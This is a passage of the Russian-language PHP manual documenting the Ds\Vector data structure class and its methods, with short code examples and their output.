Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => a
    [3] => 1
    [4] => 2
    [5] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Класс Vector

(PECL ds >= 1.0.0)

Введение

Вектор - это последовательность значений в непрерывном буфере, который растёт и обрезается автоматически. Это наиболее эффективная последовательная структура, поскольку индексы значений прямо отображаются на их индекс в буфере, и фактор роста не влияет на сложность доступа.

Сильные стороны

  • Поддерживает синтаксис массива (квадратные скобки).
  • Использует меньше памяти, чем массив (array) с тем же количеством элементов.
  • Автоматически высвобождает память, когда количество элементов уменьшается.
  • Вместимость не ограничена степенями двойки.
  • get(),
set(),
push() и
pop() имеют сложность O(1).

Слабые стороны

  • shift(),
unshift(),
insert() и
remove() имеют сложность O(n).

Обзор классов

class Ds\Vector implements Ds\Sequence, ArrayAccess {
/* Константы */
const int MIN_CAPACITY = 10;
/* Методы */
public allocate(int $capacity): void
public apply(callable $callback): void
public capacity(): int
public clear(): void
public contains(mixed ...$values): bool
public copy(): Ds\Vector
public filter(callable $callback = ?): Ds\Vector
public find(mixed $value): mixed
public first(): mixed
public get(int $index): mixed
public insert(int $index, mixed ...$values): void
public isEmpty(): bool
public join(string $glue = ?): string
public last(): mixed
public map(callable $callback): Ds\Vector
public merge(mixed $values): Ds\Vector
public pop(): mixed
public push(mixed ...$values): void
public reduce(callable $callback, mixed $initial = ?): mixed
public remove(int $index): mixed
public reverse(): void
public reversed(): Ds\Vector
public rotate(int $rotations): void
public set(int $index, mixed $value): void
public shift(): mixed
public slice(int $index, int $length = ?): Ds\Vector
public sort(callable $comparator = ?): void
public sorted(callable $comparator = ?): Ds\Vector
public sum(): int|float
public toArray(): array
public unshift(mixed $values = ?): void
}

Предопределённые константы

Ds\Vector::MIN_CAPACITY

Список изменений

Версия | Описание
PECL ds 1.3.0 | Теперь класс реализует ArrayAccess.

Содержание

  • Ds\Vector::allocate — Выделяет память под указанную вместимость
  • Ds\Vector::apply — Обновляет все значения, применяя к ним переданную callback-функцию
  • Ds\Vector::capacity — Возвращает текущую вместимость
  • Ds\Vector::clear — Удаляет все значения
  • Ds\Vector::__construct — Создаёт новый экземпляр
  • Ds\Vector::contains — Проверяет, содержится ли в векторе заданные значения
  • Ds\Vector::copy — Возвращает поверхностную копию вектора
  • Ds\Vector::count — Возвращает количество элементов вектора
  • Ds\Vector::filter — Создаёт новый вектор из элементов, выбранных с помощью заданной callback-функции
  • Ds\Vector::find — Поиск индекса по значению
  • Ds\Vector::first — Возвращает первый элемент вектора
  • Ds\Vector::get — Возвращает значение по индексу
  • Ds\Vector::insert — Вставляет значения по указанному индексу
  • Ds\Vector::isEmpty — Проверяет, пуст ли вектор
  • Ds\Vector::join — Склеивает все значения в строку
  • Ds\Vector::jsonSerialize — Возвращает вектор в JSON-представлении
  • Ds\Vector::last — Возвращает последнее значение вектора
  • Ds\Vector::map — Возвращает результат применения callback-функции ко всем значениям вектора
  • Ds\Vector::merge — Возвращает результат добавления всех заданных значений в вектор
  • Ds\Vector::pop — Удаляет и возвращает последнее значение
  • Ds\Vector::push — Добавляет значения в конец вектора
  • Ds\Vector::reduce — Уменьшает вектор до одного значения, используя callback-функцию
  • Ds\Vector::remove — Удаляет и возвращает значение по индексу
  • Ds\Vector::reverse — Переворачивает текущий вектор
  • Ds\Vector::reversed — Возвращает перевёрнутую копию вектора
  • Ds\Vector::rotate — Перематывает вектор на заданное число значений
  • Ds\Vector::set — Заменяет значение по указанному индексу
  • Ds\Vector::shift — Удаляет и возвращает первое значение
  • Ds\Vector::slice — Возвращает подвектор из заданного диапазона
  • Ds\Vector::sort — Сортирует вектор
  • Ds\Vector::sorted — Возвращает отсортированную по значению копию коллекции
  • Ds\Vector::sum — Возвращает сумму всех значений коллекции
  • Ds\Vector::toArray — Преобразует коллекцию в массив (array)
  • Ds\Vector::unshift — Добавляет значения в начало вектора

User Contributed Notes

There are no user contributed notes for this page.


Выделяет память под указанную вместимость

  • « Ds\Vector
  • Ds\Vector::apply »
  • PHP Manual
  • Ds\Vector
  • Выделяет память под указанную вместимость

Ds\Vector::allocate

(PECL ds >= 1.0.0)

Ds\Vector::allocate — Выделяет память под указанную вместимость

Описание

public Ds\Vector::allocate(int $capacity): void

Гарантирует, что выделено достаточно памяти под заданную вместимость (количество значений). Позволяет избежать динамического перераспределения памяти при добавлении значений.

Список параметров

capacity

Вместимость. Предполагаемое количество значений.

Замечание:

Вместимость останется неизменной, если её значение меньше или равно текущей вместимости.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Vector::allocate()

<?php
$vector = new \Ds\Vector();
var_dump($vector->capacity());

$vector->allocate(100);
var_dump($vector->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(10)
int(100)

User Contributed Notes

There are no user contributed notes for this page.


Обновляет все значения, применяя к ним переданную callback-функцию

  • « Ds\Vector::allocate
  • Ds\Vector::capacity »
  • PHP Manual
  • Ds\Vector
  • Обновляет все значения, применяя к ним переданную callback-функцию

Ds\Vector::apply

(PECL ds >= 1.0.0)

Ds\Vector::apply — Обновляет все значения, применяя к ним переданную callback-функцию

Описание

public Ds\Vector::apply(callable $callback): void

Обновляет все значения, применяя к ним переданную callback-функцию.

Список параметров

callback

callback(mixed $value): mixed

Объект типа callable.

Callback-функция должна возвращать новое значение, которое заменит текущее.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Vector::apply()

<?php
$vector = new \Ds\Vector([1, 2, 3]);
$vector->apply(function($value) { return $value * 2; });

print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую вместимость

  • « Ds\Vector::apply
  • Ds\Vector::clear »
  • PHP Manual
  • Ds\Vector
  • Возвращает текущую вместимость

Ds\Vector::capacity

(PECL ds >= 1.0.0)

Ds\Vector::capacity — Возвращает текущую вместимость

Описание

public Ds\Vector::capacity(): int

Возвращает текущую вместимость.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая вместимость.

Примеры

Пример #1 Пример использования Ds\Vector::capacity()

<?php
$vector = new \Ds\Vector();
var_dump($vector->capacity());

$vector->push(...range(1, 50));
var_dump($vector->capacity());

$vector[] = "a";
var_dump($vector->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(10)
int(50)
int(75)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все значения

  • « Ds\Vector::capacity
  • Ds\Vector::__construct »
  • PHP Manual
  • Ds\Vector
  • Удаляет все значения

Ds\Vector::clear

(PECL ds >= 1.0.0)

Ds\Vector::clear — Удаляет все значения

Описание

public Ds\Vector::clear(): void

Удаляет все значения из вектора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Vector::clear()

<?php
$vector = new \Ds\Vector([1, 2, 3]);
print_r($vector);

$vector->clear();
print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр

  • « Ds\Vector::clear
  • Ds\Vector::contains »
  • PHP Manual
  • Ds\Vector
  • Создаёт новый экземпляр

Ds\Vector::__construct

(PECL ds >= 1.0.0)

Ds\Vector::__construct — Создаёт новый экземпляр

Описание

public Ds\Vector::__construct(mixed $values = ?)

Создаёт новый экземпляр, используя либо объект реализующий traversable, либо массив, переданные в качестве параметра values.

Список параметров

values

Объект, реализующий интерфейс traversable или массив.

Примеры

Пример #1 Пример использования Ds\Vector::__construct()

<?php
$vector = new \Ds\Vector();
var_dump($vector);

$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#2 (0) {
}
object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержится ли в векторе заданные значения

  • « Ds\Vector::__construct
  • Ds\Vector::copy »
  • PHP Manual
  • Ds\Vector
  • Проверяет, содержится ли в векторе заданные значения

Ds\Vector::contains

(PECL ds >= 1.0.0)

Ds\Vector::contains — Проверяет, содержится ли в векторе заданные значения

Описание

public Ds\Vector::contains(mixed ...$values): bool

Проверяет, содержится ли в векторе заданные значения.

Список параметров

values

Значения для проверки.

Возвращаемые значения

Возвращает false, если хотя бы одно значение из values не найдено в векторе и true в противном случае.

Примеры

Пример #1 Пример использования Ds\Vector::contains()

<?php
$vector = new \Ds\Vector(['a', 'b', 'c', 1, 2, 3]);

var_dump($vector->contains('a')); // true
var_dump($vector->contains('a', 'b')); // true
var_dump($vector->contains('c', 'd')); // false

var_dump($vector->contains(...['c', 'b', 'a'])); // true

// Всегда строгая проверка
var_dump($vector->contains(1)); // true
var_dump($vector->contains('1')); // false

var_dump($sequece->contains(...[])); // true
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поверхностную копию вектора

  • « Ds\Vector::contains
  • Ds\Vector::count »
  • PHP Manual
  • Ds\Vector
  • Возвращает поверхностную копию вектора

Ds\Vector::copy

(PECL ds >= 1.0.0)

Ds\Vector::copy — Возвращает поверхностную копию вектора

Описание

public Ds\Vector::copy(): Ds\Vector

Возвращает поверхностную копию вектора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Поверхностная копия вектора.

Примеры

Пример #1 Пример использования Ds\Vector::copy()

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = $a->copy();

// Изменение копии не отражается на оригинале
$b->push(4);

print_r($a);
print_r($b);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов вектора

  • « Ds\Vector::copy
  • Ds\Vector::filter »
  • PHP Manual
  • Ds\Vector
  • Возвращает количество элементов вектора

Ds\Vector::count

(PECL ds >= 1.0.0)

Ds\Vector::count — Возвращает количество элементов вектора

Смотрите Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый вектор из элементов, выбранных с помощью заданной callback-функции

  • « Ds\Vector::count
  • Ds\Vector::find »
  • PHP Manual
  • Ds\Vector
  • Создаёт новый вектор из элементов, выбранных с помощью заданной callback-функции

Ds\Vector::filter

(PECL ds >= 1.0.0)

Ds\Vector::filter — Создаёт новый вектор из элементов, выбранных с помощью заданной callback-функции

Описание

public Ds\Vector::filter(callable $callback = ?): Ds\Vector

Создаёт новый вектор из элементов, выбранных с помощью заданной callback-функции.

Список параметров

callback

callback(mixed $value): bool

Опциональный аргумент типа callable, который возвращает true, если значение должно быть включено и false, если нет.

Если callback-функция не задана, то будут включены только элементы, которые приводятся к логическому значению true (смотрите приведение к boolean).

Возвращаемые значения

Новый вектор, содержащий значения, для которых функция callback вернула true, либо все элементы, которые при приведении к логическому типу становятся true, если параметр callback не задан.

Примеры

Пример #1 Пример Ds\Vector::filter() с использованием callback-функции

<?php
$vector = new \Ds\Vector([1, 2, 3, 4, 5]);

var_dump($vector->filter(function($value) {
return $value % 2 == 0;
}));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

Пример #2 Пример Ds\Vector::filter() без callback-функции

<?php
$vector = new \Ds\Vector([0, 1, 'a', true, false]);

var_dump($vector->filter());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Поиск индекса по значению

  • « Ds\Vector::filter
  • Ds\Vector::first »
  • PHP Manual
  • Ds\Vector
  • Поиск индекса по значению

Ds\Vector::find

(PECL ds >= 1.0.0)

Ds\Vector::find — Поиск индекса по значению

Описание

public Ds\Vector::find(mixed $value): mixed

Возвращает индекс значения value или false, если ничего не найдено.

Список параметров

value

Искомое значение.

Возвращаемые значения

Индекс элемента или false, если значение не найдено.

Замечание:

Элементы сравниваются строго (по типу и значению).

Примеры

Пример #1 Пример использования Ds\Vector::find()

<?php
$vector = new \Ds\Vector(["a", 1, true]);

var_dump($vector->find("a")); // 0
var_dump($vector->find("b")); // false
var_dump($vector->find("1")); // false
var_dump($vector->find(1)); // 1
?>

Результатом выполнения данного примера будет что-то подобное:

int(0)
bool(false)
bool(false)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает первый элемент вектора

  • « Ds\Vector::find
  • Ds\Vector::get »
  • PHP Manual
  • Ds\Vector
  • Возвращает первый элемент вектора

Ds\Vector::first

(PECL ds >= 1.0.0)

Ds\Vector::first — Возвращает первый элемент вектора

Описание

public Ds\Vector::first(): mixed

Возвращает первый элемент вектора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Первый элемент вектора.

Ошибки

Выбрасывает исключение UnderflowException, если вектор пуст.

Примеры

Пример #1 Пример использования Ds\Vector::first()

<?php
$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector->first());
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение по индексу

  • « Ds\Vector::first
  • Ds\Vector::insert »
  • PHP Manual
  • Ds\Vector
  • Возвращает значение по индексу

Ds\Vector::get

(PECL ds >= 1.0.0)

Ds\Vector::get — Возвращает значение по индексу

Описание

public Ds\Vector::get(int $index): mixed

Возвращает значение по заданному индексу.

Список параметров

index

Индекс. Первый элемент имеет индекс 0.

Возвращаемые значения

Значение по заданному индексу.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Vector::get()

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector->get(0));
var_dump($vector->get(1));
var_dump($vector->get(2));
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

Пример #2 Пример использования Ds\Vector::get() с синтаксисом массива

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector[0]);
var_dump($vector[1]);
var_dump($vector[2]);
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Вставляет значения по указанному индексу

  • « Ds\Vector::get
  • Ds\Vector::isEmpty »
  • PHP Manual
  • Ds\Vector
  • Вставляет значения по указанному индексу

Ds\Vector::insert

(PECL ds >= 1.0.0)

Ds\Vector::insert — Вставляет значения по указанному индексу

Описание

public Ds\Vector::insert(int $index, mixed ...$values): void

Вставляет значения по указанному индексу.

Список параметров

index

Индекс, по которому необходимо осуществить вставку. 0 <= index <= count

Замечание:

Можно указать индекс, равный количеству элементов вектора.

values

Значение или значения для вставки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OutOfRangeException в случае некорректного индекса.

Примеры

Пример #1 Пример использования Ds\Vector::insert()

<?php
$vector = new \Ds\Vector();

$vector->insert(0, "e"); // [e]
$vector->insert(1, "f"); // [e, f]
$vector->insert(2, "g"); // [e, f, g]
$vector->insert(0, "a", "b"); // [a, b, e, f, g]
$vector->insert(2, ...["c", "d"]); // [a, b, c, d, e, f, g]

var_dump($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#1 (7) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "f"
  [6]=>
  string(1) "g"
}

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, пуст ли вектор

  • « Ds\Vector::insert
  • Ds\Vector::join »
  • PHP Manual
  • Ds\Vector
  • Проверяет, пуст ли вектор

Ds\Vector::isEmpty

(PECL ds >= 1.0.0)

Ds\Vector::isEmpty — Проверяет, пуст ли вектор

Описание

public Ds\Vector::isEmpty(): bool

Проверяет, пуст ли вектор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если вектор пуст, false в противном случае.

Примеры

Пример #1 Пример использования Ds\Vector::isEmpty()

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = new \Ds\Vector();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Склеивает все значения в строку

  • « Ds\Vector::isEmpty
  • Ds\Vector::jsonSerialize »
  • PHP Manual
  • Ds\Vector
  • Склеивает все значения в строку

Ds\Vector::join

(PECL ds >= 1.0.0)

Ds\Vector::join — Склеивает все значения в строку

Описание

public Ds\Vector::join(string $glue = ?): string

Склеивает все значения в строку, опционально используя заданный разделитель.

Список параметров

glue

Необязательный параметр, задающий разделитель между значениями.

Возвращаемые значения

Все значения вектора, склеенные в одну строку.

Примеры

Пример #1 Пример использования Ds\Vector::join() с разделителем

<?php
$vector = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($vector->join("|"));
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "a|b|c|1|2|3"

Пример #2 Пример использования Ds\Vector::join() без разделителя

<?php
$vector = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($vector->join());
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает вектор в JSON-представлении

  • « Ds\Vector::join
  • Ds\Vector::last »
  • PHP Manual
  • Ds\Vector
  • Возвращает вектор в JSON-представлении

Ds\Vector::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Vector::jsonSerialize — Возвращает вектор в JSON-представлении

Смотрите JsonSerializable::jsonSerialize()

Замечание:

Никогда не используйте эту функцию напрямую.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнее значение вектора

  • « Ds\Vector::jsonSerialize
  • Ds\Vector::map »
  • PHP Manual
  • Ds\Vector
  • Возвращает последнее значение вектора

Ds\Vector::last

(PECL ds >= 1.0.0)

Ds\Vector::last — Возвращает последнее значение вектора

Описание

public Ds\Vector::last(): mixed

Возвращает последнее значение вектора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последний элемент вектора.

Ошибки

Выбрасывает исключение UnderflowException, если вектор пустой.

Примеры

Пример #1 Пример использования Ds\Vector::last()

<?php
$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector->last());
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат применения callback-функции ко всем значениям вектора

  • « Ds\Vector::last
  • Ds\Vector::merge »
  • PHP Manual
  • Ds\Vector
  • Возвращает результат применения callback-функции ко всем значениям вектора

Ds\Vector::map

(PECL ds >= 1.0.0)

Ds\Vector::map — Возвращает результат применения callback-функции ко всем значениям вектора

Описание

public Ds\Vector::map(callable $callback): Ds\Vector

Возвращает результат применения callback-функции, переданной в callback, ко всем значениям вектора.

Список параметров

callback

callback(mixed $value): mixed

Аргумент типа callable.

Эта функция должна возвращать новое значение для каждого элемента вектора.

Возвращаемые значения

Результат применения callback к каждому значению вектора.

Замечание:

Значения в текущей коллекции останутся неизменными.

Примеры

Пример #1 Пример использования Ds\Vector::map()

<?php
$vector = new \Ds\Vector([1, 2, 3]);

print_r($vector->map(function($value) { return $value * 2; }));
print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат добавления всех заданных значений в вектор

  • « Ds\Vector::map
  • Ds\Vector::pop »
  • PHP Manual
  • Ds\Vector
  • Возвращает результат добавления всех заданных значений в вектор

Ds\Vector::merge

(PECL ds >= 1.0.0)

Ds\Vector::merge — Возвращает результат добавления всех заданных значений в вектор

Описание

public Ds\Vector::merge(mixed $values): Ds\Vector

Возвращает результат добавления всех заданных значений в вектор.

Список параметров

values

Объект класса traversable или массив (array).

Возвращаемые значения

Результат добавления всех переданных значений в вектор. Фактически делается копия вектора, в который добавляются значения.

Замечание:

Текущий экземпляр вектора останется нетронутым.

Примеры

Пример #1 Пример использования Ds\Vector::merge()

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->merge([4, 5, 6]));
var_dump($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
}
object(Ds\Vector)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает последнее значение

  • « Ds\Vector::merge
  • Ds\Vector::push »
  • PHP Manual
  • Ds\Vector
  • Удаляет и возвращает последнее значение

Ds\Vector::pop

(PECL ds >= 1.0.0)

Ds\Vector::pop — Удаляет и возвращает последнее значение

Описание

public Ds\Vector::pop(): mixed

Удаляет и возвращает последнее значение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последнее удалённое значение.

Ошибки

Выбрасывает исключение UnderflowException, если вектор пустой.

Примеры

Пример #1 Пример использования Ds\Vector::pop()

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->pop());
var_dump($vector->pop());
var_dump($vector->pop());
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)
int(2)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значения в конец вектора

  • « Ds\Vector::pop
  • Ds\Vector::reduce »
  • PHP Manual
  • Ds\Vector
  • Добавляет значения в конец вектора

Ds\Vector::push

(PECL ds >= 1.0.0)

Ds\Vector::push — Добавляет значения в конец вектора

Описание

public Ds\Vector::push(mixed ...$values): void

Добавляет значения в конец вектора.

Список параметров

values

Добавляемые значения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Vector::push()

<?php
$vector = new \Ds\Vector();

$vector->push("a");
$vector->push("b");
$vector->push("c", "d");
$vector->push(...["e", "f"]);

print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает вектор до одного значения, используя callback-функцию

  • « Ds\Vector::push
  • Ds\Vector::remove »
  • PHP Manual
  • Ds\Vector
  • Уменьшает вектор до одного значения, используя callback-функцию

Ds\Vector::reduce

(PECL ds >= 1.0.0)

Ds\Vector::reduce — Уменьшает вектор до одного значения, используя callback-функцию

Описание

public Ds\Vector::reduce(callable $callback, mixed $initial = ?): mixed

Схлопывает вектор до одного значения, используя callback-функцию.

Список параметров

callback
callback(mixed $carry, mixed $value): mixed
carry

Значение, возвращённое предыдущим запуском функции или initial, если функция запущена первый раз.

value

Значение текущей итерации.

initial

Начальное значение параметра carry. Можно указать null.

Возвращаемые значения

Значение возвращённое окончательным запуском callback-функции.

Примеры

Пример #1 Пример использования Ds\Vector::reduce() с начальным значением

<?php
$vector = new \Ds\Vector([1, 2, 3]);

$callback = function($carry, $value) {
return $carry * $value;
};

var_dump($vector->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

Результатом выполнения данного примера будет что-то подобное:

int(30)

Пример #2 Пример использования Ds\Vector::reduce() без начального значения

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->reduce(function($carry, $value) {
return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

Результатом выполнения данного примера будет что-то подобное:

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает значение по индексу

  • « Ds\Vector::reduce
  • Ds\Vector::reverse »
  • PHP Manual
  • Ds\Vector
  • Удаляет и возвращает значение по индексу

Ds\Vector::remove

(PECL ds >= 1.0.0)

Ds\Vector::remove — Удаляет и возвращает значение по индексу

Описание

public Ds\Vector::remove(int $index): mixed

Удаляет и возвращает значение по индексу.

Список параметров

index

Индекс, по которому необходимо удалить значение.

Возвращаемые значения

Удалённое значение.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Vector::remove()

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector->remove(1));
var_dump($vector->remove(0));
var_dump($vector->remove(0));
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "b"
string(1) "a"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Переворачивает текущий вектор

  • « Ds\Vector::remove
  • Ds\Vector::reversed »
  • PHP Manual
  • Ds\Vector
  • Переворачивает текущий вектор

Ds\Vector::reverse

(PECL ds >= 1.0.0)

Ds\Vector::reverse — Переворачивает текущий вектор

Описание

public Ds\Vector::reverse(): void

Переворачивает текущий вектор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Vector::reverse()

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);
$vector->reverse();

print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает перевёрнутую копию вектора

  • « Ds\Vector::reverse
  • Ds\Vector::rotate »
  • PHP Manual
  • Ds\Vector
  • Возвращает перевёрнутую копию вектора

Ds\Vector::reversed

(PECL ds >= 1.0.0)

Ds\Vector::reversed — Возвращает перевёрнутую копию вектора

Описание

public Ds\Vector::reversed(): Ds\Vector

Возвращает перевёрнутую копию вектора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Перевёрнутая копия вектора.

Замечание:

Текущий вектор не изменится.

Примеры

Пример #1 Пример использования Ds\Vector::reversed()

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

print_r($vector->reversed());
print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Перематывает вектор на заданное число значений

  • « Ds\Vector::reversed
  • Ds\Vector::set »
  • PHP Manual
  • Ds\Vector
  • Перематывает вектор на заданное число значений

Ds\Vector::rotate

(PECL ds >= 1.0.0)

Ds\Vector::rotate — Перематывает вектор на заданное число значений

Описание

public Ds\Vector::rotate(int $rotations): void

Перематывает вектор на заданное число значений. Данная операция аналогична выполнению заданное количество раз кода $vector->push($vector->shift()), если число оборотов положительно и $vector->unshift($vector->pop()), если отрицательно.

Список параметров

rotations

Количество значений, которые надо "перемотать".

Возвращаемые значения

Функция не возвращает значения после выполнения.. Будет изменён текущий вектор.

Примеры

Пример #1 Пример использования Ds\Vector::rotate()

<?php
$vector = new \Ds\Vector(["a", "b", "c", "d"]);

$vector->rotate(1); // Аналогично $a = $vector->shift(); $vector->push($a);
print_r($vector);

$vector->rotate(2);
print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

(
    [0] => b
    [1] => c
    [2] => d
    [3] => a
)
Ds\Vector Object
(
    [0] => d
    [1] => a
    [2] => b
    [3] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Заменяет значение по указанному индексу

  • « Ds\Vector::rotate
  • Ds\Vector::shift »
  • PHP Manual
  • Ds\Vector
  • Заменяет значение по указанному индексу

Ds\Vector::set

(PECL ds >= 1.0.0)

Ds\Vector::set — Заменяет значение по указанному индексу

Описание

public Ds\Vector::set(int $index, mixed $value): void

Заменяет значение по указанному индексу.

Список параметров

index

Индекс, по которому надо заменить значение.

value

Новое значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Vector::set()

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

$vector->set(1, "_");
print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

Пример #2 Пример использования Ds\Vector::set() с синтаксисом массива

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

$vector[1] = "_";
print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает первое значение

  • « Ds\Vector::set
  • Ds\Vector::slice »
  • PHP Manual
  • Ds\Vector
  • Удаляет и возвращает первое значение

Ds\Vector::shift

(PECL ds >= 1.0.0)

Ds\Vector::shift — Удаляет и возвращает первое значение

Описание

public Ds\Vector::shift(): mixed

Удаляет и возвращает первое значение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Первое удалённое значение.

Ошибки

Выбрасывает исключение UnderflowException, если вектор пуст.

Примеры

Пример #1 Пример использования Ds\Vector::shift()

<?php
